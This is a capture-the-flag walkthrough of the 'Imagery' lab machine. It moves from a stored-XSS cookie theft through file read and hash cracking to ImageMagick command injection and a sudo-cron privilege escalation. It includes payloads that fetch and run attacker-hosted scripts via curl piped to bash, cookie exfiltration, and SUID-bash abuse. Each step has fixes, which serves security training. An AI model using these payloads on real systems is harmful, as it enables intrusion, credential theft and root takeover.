← all walkthroughs

Imagery

Linux· Medium· Web
owned
2026-08-22
time to own
42m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a normal Image Gallery account, planted stored XSS in the unsanitized admin bug-report details field, and stole the admin@imagery.htb session cookie when the review bot rendered the report. That cookie unlocked /admin/get_system_log as an arbitrary file read, leaking db.json (MD5 password hashes) and api_edit.py (ImageMagick convert with shell=True for the testuser account). Rockyou cracked testuser to [REDACTED: recovered credential].

Crop-parameter injection as testuser executed as OS user web, planted an SSH key, and yielded user.txt [REDACTED: sensitive value]. A second MD5 from the app/backup DB cracked mark to [REDACTED: recovered credential]. Mark has NOPASSWD sudo /usr/local/bin/charcol; after charcol reset, auto add installed a root cron that copied root.txt and set the SUID bit on /bin/bash.

Bash -p read root.txt [REDACTED: sensitive value]. HTB accepted both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service scanning (Nmap)
Mapped SSH and the Flask Image Gallery
A service scan of $TARGET found OpenSSH 9.7p1 on port 22 and Werkzeug/3.1.3 Python/3.12.7 on port 8000 serving an Image Gallery SPA (imagery.htb). No other TCP ports were open. The SPA disclosed register, login, upload, bug-report, admin user-list, and get_system_log routes.
Exact commands 2
Confirm SSH and the gallery HTTP port.
nmap -sC -sV -p22,8000 $TARGET
Unauthenticated session state.
curl -ksS -i http://$TARGET:8000/auth_status
2EnumerationAuthenticated web enumeration / DOM XSS sink identification
Registered a normal user and found the XSS sink plus locked transform APIs
Self-registration of me@imagery.com / [REDACTED: recovered credential] succeeded. Upload of a 1x1 PNG worked. /admin/* returned 403. /convert_image and /apply_visual_transform returned 403 Feature is still in development. /report_bug accepted a report and promised admin review. The SPA built admin bug cards with innerHTML: id/reporter/bugName went through DOMPurify; report.details did not.
POST /register 201; POST /login 200 Set-Cookie session=…; POST /report_bug 200 Admin review in progress; parse of reportCard.innerHTML showed unsanitized ${report.details}.
Exact commands 2
Create the throwaway gallery account.
curl -ksS -i -H 'Content-Type: application/json' -X POST --data-binary '{"username":"$USERNAME@imagery.com","password":"$PASSWORD"}' http://$TARGET:8000/register
Save the Flask session cookie.
curl -ksS -i -c /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"$USERNAME@imagery.com","password":"$PASSWORD"}' http://$TARGET:8000/login
FixSanitize every bug-report field and HttpOnly the session cookieCritical
WeaknessAdmin bug cards assigned unsanitized report.details to innerHTML while an automated admin browser reviewed submissions. The session cookie was readable from JavaScript.
FixRun DOMPurify or textContent on every field including details. Set the Flask session cookie HttpOnly (and Secure/SameSite). Do not load untrusted HTML in a privileged admin browser; render reports as text.
3ExploitationStored Cross-Site Scripting (CWE-79)
Stored XSS stole the admin@imagery.htb session
A bug report whose details field was an img onerror loader fetched my JS from the VPN address (loopback :8888 is unreachable from the target). The admin review bot executed it. Document.cookie was not HttpOnly. Replaying the cookie made /auth_status return isAdmin=true username=admin@imagery.htb. Flask SECRET_KEY forging failed because app.py uses os.urandom(24).hex() per start.
Stolen cookie authenticated as {"displayId":"a1b2c3d4","isAdmin":true,"username":"admin@imagery.htb"}.
Exact commands 3
Must bind the HTB tun IP, not 127.0.0.1.
python3 -m http.server 8081 --bind $ATTACKER_IP --directory .
P.js exfils document.cookie and then calls admin LFI.
curl -ksS -b /tmp/img.cj -H 'Content-Type: application/json' -X POST --data-binary '{"bugName":"loader","bugDetails":"<img src=x onerror=\"fetch('http://$ATTACKER_IP:8081/p.js').then(r=>r.text()).then(eval)\">"}' http://$TARGET:8000/report_bug
Confirm isAdmin=true with the stolen session.
curl -ksS -b /tmp/admin.cj http://$TARGET:8000/auth_status
4Credential AccessLocal File Inclusion / Offline MD5 cracking
Admin LFI dumped db.json and revealed the ImageMagick sink
/admin/get_system_log?log_identifier= is an arbitrary file read. With the admin cookie it returned /proc/self/cwd/db.json (MD5 hashes for admin@imagery.htb and testuser@imagery.htb) and api_edit.py (crop builds convert … with shell=True when is_testuser_account). Rockyou cracked [REDACTED: recovered credential] to [REDACTED: recovered credential]. The admin hash [REDACTED: recovered credential] was not recovered.
Testuser@imagery.htb MD5 [REDACTED: recovered credential] -> [REDACTED: recovered credential]. Login 200 as isTestuser=true.
Exact commands 3
Download the user database.
curl -ksS -b /tmp/admin.cj -o db.json "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/db.json"
Confirm crop is shell=True for testuser.
curl -ksS -b /tmp/admin.cj -o api_edit.py "http://$TARGET:8000/admin/get_system_log?log_identifier=/proc/self/cwd/api_edit.py"
Authenticate as the privileged test account.
curl -ksS -i -c /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"username":"testuser@imagery.htb","password":"$PASSWORD2"}' http://$TARGET:8000/login
FixConstrain get_system_log to a log directoryCritical
Weaknesslog_identifier accepted absolute paths such as /proc/self/cwd/db.json, turning an admin feature into arbitrary file read.
FixAllow only a basename under a dedicated log directory; reject .. and absolute paths; never serve application source or db.json through this endpoint.
5Initial AccessOS command injection via ImageMagick convert (CWE-78)
ImageMagick crop injection planted an SSH key as web
As testuser, a PNG was uploaded and /apply_visual_transform crop was called with params.width=1;curl -sS http://$ATTACKER_IP:8081/s2.sh|bash #. S2.sh appended my ed25519 public key to /home/web/.ssh/authorized_keys. The first payload returned HTTP 500 /bin/sh Syntax error (proving shell execution); crop3 returned 200. Ssh -i web_id web@$TARGET ran as uid=1001(web) and read /home/web/user.txt = [REDACTED: sensitive value]. HTB accepted the user flag.
Ssh web succeeded; user.txt [REDACTED: sensitive value]; submit_flag accepted; HTB authUserInUserOwns=true.
Exact commands 3
Unencrypted key for the web account.
ssh-keygen -t ed25519 -f web_id -N ''
S2.sh writes the public key into ~web/.ssh/authorized_keys.
curl -ksS -b /tmp/tu.cj -H 'Content-Type: application/json' -X POST --data-binary '{"imageId":"<png-id>","transformType":"crop","params":{"x":"0","y":"0","width":"1;curl -sS http://$ATTACKER_IP:8081/s2.sh|bash #","height":"1"}}' http://$TARGET:8000/apply_visual_transform
User.txt = [REDACTED: sensitive value]
ssh -i web_id -o BatchMode=yes -o StrictHostKeyChecking=no web@$TARGET 'id; cat /home/web/user.txt'
FixStop passing crop geometry through a shellCritical
Weaknessapply_visual_transform crop concatenated externally controlled width into convert via shell=True for the testuser account, giving OS command execution as web.
FixInvoke ImageMagick with an argument vector, not a shell string. Disable test-user-only features in production. Store hashes with a slow KDF, not MD5.
6Privilege EscalationPassword reuse + sudo application abuse + cron/SUID
Cracked mark/[REDACTED: recovered credential] and abused sudo charcol auto cron to root
A second MD5 [REDACTED: recovered credential] from the application/backup db.json cracked on rockyou to [REDACTED: recovered credential]. Su mark from the web SSH session showed (ALL) NOPASSWD: /usr/local/bin/charcol. Charcol reset (mark's OS password) deleted /root/.charcol/.charcol_config and dropped the master passphrase. Auto add --schedule '* * * * *' --command 'cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt; chmod u+s /bin/bash' --name pwn installed a root cron job. After one minute /bin/bash was -rwsr-xr-x and /bin/bash -p printed euid=0(root). Root.txt = [REDACTED: sensitive value]. HTB accepted the root flag.
Sudo -l as mark; cron line added; -rwsr-xr-x /bin/bash; euid=0; root.txt [REDACTED: sensitive value]; HTB authUserInRootOwns=true.
Exact commands 4
Run over ssh -i web_id web@$TARGET.
python3 -c "import pexpect,sys; c=pexpect.spawn('su - mark -c \"sudo -n -l; id\"',timeout=8); c.expect('Password:'); c.sendline('$PASSWORD3'); c.expect(pexpect.EOF); sys.stdout.buffer.write(c.before)"
As mark; confirm with [REDACTED: recovered credential]. Clears /root/.charcol/.charcol_config.
sudo /usr/local/bin/charcol reset
Then: auto add --schedule "* * * * *" --command "cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt; chmod u+s /bin/bash" --name pwn
sudo /usr/local/bin/charcol shell
Root.txt = [REDACTED: sensitive value]
sleep 45; ls -la /bin/bash /tmp/root.txt; /bin/bash -p -c 'id; cat /root/root.txt'
FixRemove unrestricted Charcol automation under sudoCritical
Weaknessmark could run sudo /usr/local/bin/charcol NOPASSWD. After reset, auto add wrote an arbitrary root cron line that SUID-set /bin/bash.
FixDrop NOPASSWD or restrict charcol to non-executing verbs. Do not allow auto add of shell command strings. Never chmod u+s /bin/bash. Store OS passwords independently of the gallery MD5 database.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
8000/tcp